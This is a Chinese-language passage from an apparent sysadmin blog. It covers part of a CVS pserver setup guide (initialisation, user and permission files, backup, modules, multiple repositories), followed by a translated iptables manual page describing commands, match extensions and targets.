其中server指定CVS可执行文件路径,默认安装就是/usr/bin/cvs。server_args指定源代码库路径及认证方式等,例子中把源代
码存放在cvsroot的主目录中,也可以另外指定路径,但必须注意权限设置,pserver是密码认证方式,这种方式的安全性要差一些,但操作起来比较
简单。请注意每行等号左右都有一个空格,否则无法启动服务。


3.初始化CVS

切换到cvsroot用户,然后进行初始化:

代码:

#cvs -d /home/cvsroot init




这个路径应该与cvspserver文件中指定的路径相同,初始化后会在此路径下面创建CVSROOT目录,存放用于CVS管理的一些文件。此时重新启动xinetd服务,CVS服务器应该能够启动了。

代码:

#service xinetd restart




当然,重新启动计算机也可以。确认是否启动:

代码:

#netstat -l | grep cvspserver




如果能看到

代码:

tcp 0 0 *:cvspserver *:* LISTEN




说明已经正常启动,没有的话请重新检查配置过程是否有错误或者遗漏。最后还必须检查防火墙的设置,把2401端口打开。


4.用户管理

CVS默认使用系统用户登录,为了系统安全性的考虑也可以使用独立的用户管理。CVS用户名和密码保存在CVSROOT目录下的passwd文件中,格式为:

代码:

用户名:密码:系统用户




也就是说,它把CVS用户映射到系统用户,这样我们就可以通过系统用户的权限设置来分配给用户不同的权限,而不需要让用户知道系统用户名和密码。

passwd文件默认并不存在,我们必须自己创建。文件中的密码字段使用MD5加密,不幸的是CVS没有提供添加用户名的命令,所以我们借用Apache的命令来完成这项工作:

代码:

#htpasswd passwd username




这个命令为username指定密码,并保存在passwd中,文件不存在时会自动创建。htpasswd命令不是为CVS而设,因此总有一些遗憾,它不
能自动添加映射到的用户名,不过没关系,我们设置好密码后,自己把这部分加上。我的做法是映射到cvsroot用户,如果需要映射其他的用户,请注意给相
应的目录设置好权限,否则CVS用户可能无法访问源代码仓库。

要彻底防止使用系统帐号登陆,可以编辑CVSROOT目录下的config文件,把

代码:

#SystemAuth=no




这一行前面的#去掉,CVS就不会验证系统用户了,否则当用户名不在passwd文件中时,CVS会进行系统用户的验证。

此外还必须配置读写权限,使用CVSROOT目录下的readers和writers文件进行这个工作。这2个文件默认也是没有的,没关系,自己创建就可
以了。readers文件记录拥有只读权限的用户名,每行一个用户;writers文件记录拥有读写权限的用户名,也是每行一个用户。注意,
readers文件比writers优先,也就是说出现在readers中的用户将会是只读的,不管writers文件中是否存在该用户。


配置完毕,先测试一下:

代码:

#cvs -d “:pserver:username@127.0.0.1:/home/cvsroot” login




这里假设用户名是username,本机登陆。出现密码提示,输入正确的密码后,登陆成功。如果提示访问被拒绝,请检查用户权限、目录权限以及防火墙设置。建议设置环境变量CVSROOT:

代码:

#export CVSROOT=:pserver:username@127.0.0.1:/home/cvsroot




以后就不需要输入-d参数了,但-d参数会覆盖这个环境变量的设置。


5.源代码仓库的备份和移动

基本上,CVS的源代码仓库没有什么特别之处,完全可以用文件备份的方式进行备份。需要注意的只是,应该确认备份的过程中没有用户提交修改,具体的做法可
以是停止CVS服务器或者使用锁等等。恢复时只需要把这些文件按原来的目录结构存放好,因为CVS的每一个模块都是单独的一个目录,与其他模块和目录没有
任何瓜葛,相当方便。甚至只需要在仓库中删除一个目录或者文件,便可以删除该模块的一些内容,不过并不建议这么做,使用CVS的删除功能将会有一个历史记
录,而对仓库的直接删除不留任何痕迹,这对项目管理是不利的。移动仓库与备份相似,只需要把该模块的目录移动到新的路径,便可以使用了。

如果不幸在备份之后有过一些修改并且执行了提交,当服务器出现问题需要恢复源代码仓库时,开发者提交新的修改就会出现版本不一致的错误。此时只需要把CVS相关的目录和文件删除,即可把新的修改提交。


6.更进一步的管理

CVSROOT目录下还有很多其他功能,其中最重要的就是modules文件。这个文件定义了源代码库的模块,下面是一个例子:

代码:

Linux Linux

Kernel Linux/kernel




这个文件的内容按行排列,每一行定义一个模块,首先是模块名,然后是模块路径,这是相对于CVS根目录的路径。它定义了两个模块,第一个是Linux模块,它位于Linux目录中,第二个是Kernel模块,这是Linux模块的子模块。

modules文件并非必须的,它的作用相当于一个索引,部分CVS客户端软件通过它可以快速找到相应的模块,比如WinCVS。


7.协同开发的问题

默认方式下,CVS允许多个用户编辑同一个文件,这对一个协作良好的团队来说不会有什么问题,因为多个开发者同时修改同一个文件的同一部分是不正常的,这
在项目管理中就应该避免,出现这种情况说明项目组内部没有统一意见。而多个开发者修改文件的不同部分,CVS可以很好的管理。

如果觉得这种方式难以控制,CVS也提供了解决办法,可以使用cvs admin
-l进行锁定,这样一个开发者正在做修改时CVS就不会允许其他用户checkout。这里顺便说明一下文件格式的问题,对于文本格式,CVS可以进行历
史记录比较、版本合并等工作,而二进制文件不支持这个操作,比如word文档、图片等就应该以二进制方式提交。对于二进制方式,由于无法进行合并,在无法
保证只有一个用户修改文件的情况下,建议使用加锁方式进行修改。必须注意的是,修改完毕记得解锁。

从1.6版本开始,CVS引入了监视的概念,这个功能可以让用户随时了解当前谁在修改文件,并且CVS可以自动发送邮件给每一个监视的用户告知最新的更新。


8.建立多个源代码仓库

如果需要管理多个开发组,而这些开发组之间不能互相访问,可以有2个办法:

a.共用一个端口,需要修改cvspserver文件,给server_args指定多个源代码路径,即多个—allow-root参数。由于xinetd的server_args长度有限制,可以在cvspserver文件中把服务器的设置重定向到另外一个文件,如:

代码:

server = /home/cvsroot/cvs.run




然后创建/home/cvsroot/cvs.run文件,该文件必须可执行,内容格式为:

代码:

#!/bin/bash

/usr/bin/cvs -f \

–allow-root=/home/cvsroot/src1 \

–allow-root=/home/cvsroot/src2 \

pserver




注意此时源代码仓库不再是/home/cvsroot,进行初始化的时候要分别对这两个仓库路径进行初始化,而不再对/home/cvsroot路径进行初始化。

b.采用不同的端口提供服务

重复第2步和第3步,为不同的源代码仓库创建不同服务名的启动脚本,并为这些服务名指定不同的端口,初始化时也必须分别进行初始化。

2004年12月22日




用iptables -ADC 来指定链的规则,-A添加 -D删除 -C 修改



iptables – [RI] chain rule num rule-specification[option]


用iptables – RI 通过规则的顺序指定



iptables -D chain rule num[option]


删除指定规则


iptables -[LFZ] [chain][option]


用iptables -LFZ 链名 [选项]



iptables -[NX] chain


用 -NX 指定链



iptables -P chain target[options]


指定链的默认目标



iptables -E old-chain-name new-chain-name


-E 旧的链名 新的链名


用新的链名取代旧的链名


说明


Iptalbes 是用来设置、维护和检查Linux内核的IP包过滤规则的。


可以定义不同的表,每个表都包含几个内部的链,也能包含用户定义的链。每个



链都是一个规则列表,对对应的包进行匹配:每条规则指定应当如何处理与之相



匹配的包。这被称作’target’(目标),也可以跳向同一个表内的用户定义的链







TARGETS


防火墙的规则指定所检查包的特征,和目标。如果包不匹配,将送往该链中下一



条规则检查;如果匹配,那么下一条规则由目标值确定.该目标值可以是用户定义



的链名,或是某个专用值,如ACCEPT[通过], DROP[删除], QUEUE[排队], 或者



RETURN[返回]。


ACCEPT 表示让这个包通过。DROP表示将这个包丢弃。QUEUE表示把这个包传递到



用户空间。RETURN表示停止这条链的匹配,到前一个链的规则重新开始。如果到



达了一个内建的链(的末端),或者遇到内建链的规则是RETURN,包的命运将由链



准则指定的目标决定。



TABLES


当前有三个表(哪个表是当前表取决于内核配置选项和当前模块)。


-t table


这个选项指定命令要操作的匹配包的表。如果内核被配置为自动加载模块,这时



若模块没有加载,(系统)将尝试(为该表)加载适合的模块。这些表如下:filter,



这是默认的表,包含了内建的链INPUT(处理进入的包)、FORWORD(处理通过的



包)和OUTPUT(处理本地生成的包)。nat,这个表被查询时表示遇到了产生新的



连接的包,由三个内建的链构成:PREROUTING (修改到来的包)、OUTPUT(修改路



由之前本地的包)、POSTROUTING(修改准备出去的包)。mangle 这个表用来对



指定的包进行修改。它有两个内建规则:PREROUTING(修改路由之前进入的包)



和OUTPUT(修改路由之前本地的包)。


OPTIONS


这些可被iptables识别的选项可以区分不同的种类。



COMMANDS


这些选项指定执行明确的动作:若指令行下没有其他规定,该行只能指定一个选项



.对于长格式的命令和选项名,所用字母长度只要保证iptables能从其他选项中区



分出该指令就行了。


-A -append


在所选择的链末添加一条或更多规则。当源(地址)或者/与 目的(地址)转换



为多个地址时,这条规则会加到所有可能的地址(组合)后面。



-D -delete


从所选链中删除一条或更多规则。这条命令可以有两种方法:可以把被删除规则



指定为链中的序号(第一条序号为1),或者指定为要匹配的规则。



-R -replace


从选中的链中取代一条规则。如果源(地址)或者/与 目的(地址)被转换为多



地址,该命令会失败。规则序号从1开始。



-I -insert


根据给出的规则序号向所选链中插入一条或更多规则。所以,如果规则序号为1,



规则会被插入链的头部。这也是不指定规则序号时的默认方式。



-L -list


显示所选链的所有规则。如果没有选择链,所有链将被显示。也可以和z选项一起



使用,这时链会被自动列出和归零。精确输出受其它所给参数影响。



-F -flush


清空所选链。这等于把所有规则一个个的删除。



–Z -zero


把所有链的包及字节的计数器清空。它可以和 -L配合使用,在清空前察看计数器



,请参见前文。



-N -new-chain


根据给出的名称建立一个新的用户定义链。这必须保证没有同名的链存在。



-X -delete-chain


删除指定的用户自定义链。这个链必须没有被引用,如果被引用,在删除之前你



必须删除或者替换与之有关的规则。如果没有给出参数,这条命令将试着删除每



个非内建的链。




-P -policy


设置链的目标规则。



-E -rename-chain


根据用户给出的名字对指定链进行重命名,这仅仅是修饰,对整个表的结构没有



影响。TARGETS参数给出一个合法的目标。只有非用户自定义链可以使用规则,而



且内建链和用户自定义链都不能是规则的目标。



-h Help.


帮助。给出当前命令语法非常简短的说明。



PARAMETERS


参数


以下参数构成规则详述,如用于add、delete、replace、append 和 check命令。



-p -protocal [!]protocol


规则或者包检查(待检查包)的协议。指定协议可以是tcp、udp、icmp中的一个或



者全部,也可以是数值,代表这些协议中的某一个。当然也可以使用在/etc/prot



ocols中定义的协议名。在协议名前加上”!”表示相反的规则。数字0相当于所有al



l。Protocol all会匹配所有协议,而且这是缺省时的选项。在和check命令结合



时,all可以不被使用。


-s -source [!] address[/mask]


指定源地址,可以是主机名、网络名和清楚的IP地址。mask说明可以是网络掩码



或清楚的数字,在网络掩码的左边指定网络掩码左边”1″的个数,因此,mask值为



24等于255.255.255.0。在指定地址前加上”!”说明指定了相反的地址段。标志



–src 是这个选项的简写。



-d –destination [!] address[/mask]


指定目标地址,要获取详细说明请参见 -s标志的说明。标志 –dst 是这个选项



的简写。



-j –jump target


-j 目标跳转


指定规则的目标;也就是说,如果包匹配应当做什么。目标可以是用户自定义链



(不是这条规则所在的),某个会立即决定包的命运的专用内建目标,或者一个



扩展(参见下面的EXTENSIONS)。如果规则的这个选项被忽略,那么匹配的过程



不会对包产生影响,不过规则的计数器会增加。



-i -in-interface [!] [name]


i -进入的(网络)接口 [!][名称]


这是包经由该接口接收的可选的入口名称,包通过该接口接收(在链INPUT、FORW



ORD和PREROUTING中进入的包)。当在接口名前使用”!”说明后,指的是相反的名



称。如果接口名后面加上”+”,则所有以此接口名开头的接口都会被匹配。如果这



个选项被忽略,会假设为”+”,那么将匹配任意接口。



-o –out-interface [!][name]


-o –输出接口[名称]


这是包经由该接口送出的可选的出口名称,包通过该口输出(在链FORWARD、OUTP



UT和POSTROUTING中送出的包)。当在接口名前使用”!”说明后,指的是相反的名



称。如果接口名后面加上”+”,则所有以此接口名开头的接口都会被匹配。如果这



个选项被忽略,会假设为”+”,那么将匹配所有任意接口。



[!] -f, –fragment


[!] -f –分片


这意味着在分片的包中,规则只询问第二及以后的片。自那以后由于无法判断这



种把包的源端口或目标端口(或者是ICMP类型的),这类包将不能匹配任何指定



对他们进行匹配的规则。如果”!”说明用在了”-f”标志之前,表示相反的意思。



OTHER OPTIONS


其他选项


还可以指定下列附加选项:



-v –verbose


-v –详细


详细输出。这个选项让list命令显示接口地址、规则选项(如果有)和TOS(Type



of Service)掩码。包和字节计数器也将被显示,分别用K、M、G(前缀)表示1000



、1,000,000和1,000,000,000倍(不过请参看-x标志改变它),对于添加,插入,



删除和替换命令,这会使一个或多个规则的相关详细信息被打印。



-n –numeric


-n –数字


数字输出。IP地址和端口会以数字的形式打印。默认情况下,程序试显示主机名



、网络名或者服务(只要可用)。



-x -exact


-x -精确


扩展数字。显示包和字节计数器的精确值,代替用K,M,G表示的约数。这个选项仅



能用于 -L 命令。



–line-numbers


当列表显示规则时,在每个规则的前面加上行号,与该规则在链中的位置相对应







MATCH EXTENSIONS


对应的扩展


iptables能够使用一些与模块匹配的扩展包。以下就是含于基本包内的扩展包,



而且他们大多数都可以通过在前面加上!来表示相反的意思。



tcp


当 –protocol tcp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载。它



提供以下选项:



–source-port [!] [port[:port]]


源端口或端口范围指定。这可以是服务名或端口号。使用格式端口:端口也可以



指定包含的(端口)范围。如果首端口号被忽略,默认是”0″,如果末端口号被忽



略,默认是”65535″,如果第二个端口号大于第一个,那么它们会被交换。这个选



项可以使用 –sport的别名。



–destionation-port [!] [port:[port]]


目标端口或端口范围指定。这个选项可以使用 –dport别名来代替。



–tcp-flags [!] mask comp


匹配指定的TCP标记。第一个参数是我们要检查的标记,一个用逗号分开的列表,



第二个参数是用逗号分开的标记表,是必须被设置的。标记如下:SYN ACK FIN



RST URG PSH ALL NONE。因此这条命令:iptables -A FORWARD -p tcp



–tcp-flags SYN, ACK, FIN, RST



SYN只匹配那些SYN标记被设置而ACK、FIN和RST标记没有设置的包。



[!] –syn


只匹配那些设置了SYN位而清除了ACK和FIN位的TCP包。这些包用于TCP连接初始化



时发出请求;例如,大量的这种包进入一个接口发生堵塞时会阻止进入的TCP连接



,而出去的TCP连接不会受到影响。这等于 –tcp-flags SYN, RST, ACK SYN。如



果”–syn”前面有”!”标记,表示相反的意思。



–tcp-option [!] number


匹配设置了TCP选项的。



udp


当protocol udp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载,它提供



以下选项:



–source-port [!] [port:[port]]


源端口或端口范围指定。详见 TCP扩展的–source-port选项说明。



–destination-port [!] [port:[port]]


目标端口或端口范围指定。详见 TCP扩展的–destination-port选项说明。



icmp


当protocol icmp被指定,且其他匹配的扩展未被指定时,该扩展被装载。它提供以



下选项:


–icmp-type [!] typename


这个选项允许指定ICMP类型,可以是一个数值型的ICMP类型,或者是某个由命令i



ptables -p icmp -h所显示的ICMP类型名。



mac


–mac-source [!] address


匹配物理地址。必须是XX:XX:XX:XX:XX这样的格式。注意它只对来自以太设备并



进入PREROUTING、FORWORD和INPUT链的包有效。



limit


这个模块匹配标志用一个标记桶过滤器一一定速度进行匹配,它和LOG目标结合使



用来给出有限的登陆数.当达到这个极限值时,使用这个扩展包的规则将进行匹配.



(除非使用了”!”标记)



–limit rate


最大平均匹配速率:可赋的值有’/second’, ‘/minute’, ‘/hour’, or ‘/day’这



样的单位,默认是3/hour。



–limit-burst number


待匹配包初始个数的最大值:若前面指定的极限还没达到这个数值,则概数字加1.



默认值为5



multiport


这个模块匹配一组源端口或目标端口,最多可以指定15个端口。只能和-p tcp 或



者 -p udp 连着使用。



–source-port [port[, port]]


如果源端口是其中一个给定端口则匹配



–destination-port [port[, port]]


如果目标端口是其中一个给定端口则匹配



–port [port[, port]]


若源端口和目的端口相等并与某个给定端口相等,则匹配。


mark


这个模块和与netfilter过滤器标记字段匹配(就可以在下面设置为使用MARK标记



)。



–mark value [/mask]


匹配那些无符号标记值的包(如果指定mask,在比较之前会给掩码加上逻辑的标



记)。



owner


此模块试为本地生成包匹配包创建者的不同特征。只能用于OUTPUT链,而且即使



这样一些包(如ICMP ping应答)还可能没有所有者,因此永远不会匹配。



–uid-owner userid


如果给出有效的user id,那么匹配它的进程产生的包。



–gid-owner groupid


如果给出有效的group id,那么匹配它的进程产生的包。



–sid-owner seessionid


根据给出的会话组匹配该进程产生的包。



state


此模块,当与连接跟踪结合使用时,允许访问包的连接跟踪状态。



–state state


这里state是一个逗号分割的匹配连接状态列表。可能的状态是:INVALID表示包是



未知连接,ESTABLISHED表示是双向传送的连接,NEW表示包为新的连接,否则是



非双向传送的,而RELATED表示包由新连接开始,但是和一个已存在的连接在一起



,如FTP数据传送,或者一个ICMP错误。



unclean


此模块没有可选项,不过它试着匹配那些奇怪的、不常见的包。处在实验中。



tos


此模块匹配IP包首部的8位tos(服务类型)字段(也就是说,包含在优先位中)







–tos tos


这个参数可以是一个标准名称,(用iptables -m tos -h 察看该列表),或者数



值。



TARGET EXTENSIONS


iptables可以使用扩展目标模块:以下都包含在标准版中。



LOG


为匹配的包开启内核记录。当在规则中设置了这一选项后,linux内核会通过prin



tk()打印一些关于全部匹配包的信息(诸如IP包头字段等)。


–log-level level


记录级别(数字或参看 syslog.conf(5))。


–log-prefix prefix


在纪录信息前加上特定的前缀:最多14个字母长,用来和记录中其他信息区别。



–log-tcp-sequence


记录TCP序列号。如果记录能被用户读取那么这将存在安全隐患。



–log-tcp-options


记录来自TCP包头部的选项。


–log-ip-options


记录来自IP包头部的选项。



MARK


用来设置包的netfilter标记值。只适用于mangle表。



–set-mark mark



REJECT


作为对匹配的包的响应,返回一个错误的包:其他情况下和DROP相同。



此目标只适用于INPUT、FORWARD和OUTPUT链,和调用这些链的用户自定义链。这



几个选项控制返回的错误包的特性:



–reject-with type


Type可以是icmp-net-unreachable、icmp-host-unreachable、icmp-port-nreach



able、icmp-proto-unreachable、 icmp-net-prohibited 或者



icmp-host-prohibited,该类型会返回相应的ICMP错误信息(默认是port-unreac



hable)。选项 echo-reply也是允许的;它只能用于指定ICMP ping包的规则中,



生成ping的回应。最后,选项tcp-reset可以用于在INPUT链中,或自INPUT链调用



的规则,只匹配TCP协议:将回应一个TCP RST包。


TOS


用来设置IP包的首部八位tos。只能用于mangle表。



–set-tos tos


你可以使用一个数值型的TOS 值,或者用iptables -j TOS -h 来查看有效TOS名



列表。


MIRROR


这是一个试验示范目标,可用于转换IP首部字段中的源地址和目标地址,再传送



该包,并只适用于INPUT、FORWARD和OUTPUT链,以及只调用它们的用户自定义链。



SNAT


这个目标只适用于nat表的POSTROUTING链。它规定修改包的源地址(此连接以后



所有的包都会被影响),停止对规则的检查,它包含选项:



–to-source <ipaddr>[-<ipaddr>][:port-port]


可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(



只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,源端口中512



以下的(端口)会被安置为其他的512以下的端口;512到1024之间的端口会被安



置为1024以下的,其他端口会被安置为1024或以上。如果可能,端口不会被修改







–to-destiontion <ipaddr>[-<ipaddr>][:port-port]


可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(



只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,目标端口不会



被修改。



MASQUERADE


只用于nat表的POSTROUTING链。只能用于动态获取IP(拨号)连接:如果你拥有



静态IP地址,你要用SNAT。伪装相当于给包发出时所经过接口的IP地址设置一个



映像,当接口关闭连接会终止。这是因为当下一次拨号时未必是相同的接口地址



(以后所有建立的连接都将关闭)。它有一个选项:



–to-ports <port>[-port>]


指定使用的源端口范围,覆盖默认的SNAT源地址选择(见上面)。这个选项只适



用于指定了-p tcp或者-p udp的规则。



REDIRECT


只适用于nat表的PREROUTING和OUTPUT链,和只调用它们的用户自定义链。它修改



包的目标IP地址来发送包到机器自身(本地生成的包被安置为地址127.0.0.1)。



它包含一个选项:



–to-ports <port>[<port>]


指定使用的目的端口或端口范围:不指定的话,目标端口不会被修改。只能用于



指定了-p tcp 或 -p udp的规则。



DIAGNOSTICS


诊断


不同的错误信息会打印成标准错误:退出代码0表示正确。类似于不对的或者滥用



的命令行参数错误会返回错误代码2,其他错误返回代码为1。



BUGS


臭虫


Check is not implemented (yet).


检查还未完成。



COMPATIBILITY WITH IPCHAINS


与ipchains的兼容性


iptables和Rusty Russell的ipchains非常相似。主要区别是INPUT 链只用于进入



本地主机的包,而OUTPUT只用于自本地主机生成的包。因此每个包只经过三个链的



一个;以前转发的包会经过所有三个链。其他主要区别是 -i 引用进入接口;-o



引用输出接口,两者都适用于进入FORWARD链的包。当和可选扩展模块一起使用默



认过滤器表时,iptables是一个纯粹的包过滤器。这能大大减少以前对IP伪装和



包过滤结合使用的混淆,所以以下选项作了不同的处理:


-j MASQ


-M -S


-M -L


在iptables中有几个不同的链。



SEE ALSO


参见


iptables-HOWTO有详细的iptables用法,对netfilter-hacking-HOWTO也有详细的



本质说明。



AUTHORS


作者



Rusty Russell wrote iptables, in early consultation with Michael



Neuling.


Marc Boucher made Rusty abandon ipnatctl by lobbying for a generic



packet selection framework in iptables, then wrote the mangle table,



the owner match, the mark stuff, and ranaround doing cool stuff



everywhere.


James Morris wrote the TOS target, and tos match.


Jozsef Kadlecsik wrote the REJECT target.


The Netfilter Core Team is: Marc Boucher, Rusty Russell.